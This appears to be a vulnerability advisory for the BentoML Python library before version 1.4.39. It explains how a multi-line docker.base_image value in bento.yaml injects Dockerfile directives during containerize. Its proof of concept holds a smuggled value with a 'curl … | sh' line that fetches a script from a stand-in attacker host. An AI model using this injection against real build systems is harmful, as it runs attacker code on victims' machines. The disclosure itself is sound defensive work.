BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.

Affected: PyPI: bentoml

The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host.

## Vulnerable code

`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28):

```jinja FROM {{ __options__base_image }} AS base-container ```

`__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`):

```python base_image: t.Optional[str] = None ```

No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is.

## PoC

Malicious `bentofile.yaml`:

```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ```

Minimal reproduction of the unsafe interpolation:

```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ```

Output:

``` FRO…

Affected: PyPI: bentoml

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.39, src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2 interpolates docker.base_image raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line docker.base_image value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and bentoml containerize then runs docker build which executes the injected RUN directives on the victim host. This vulnerability is fixed in 1.4.39.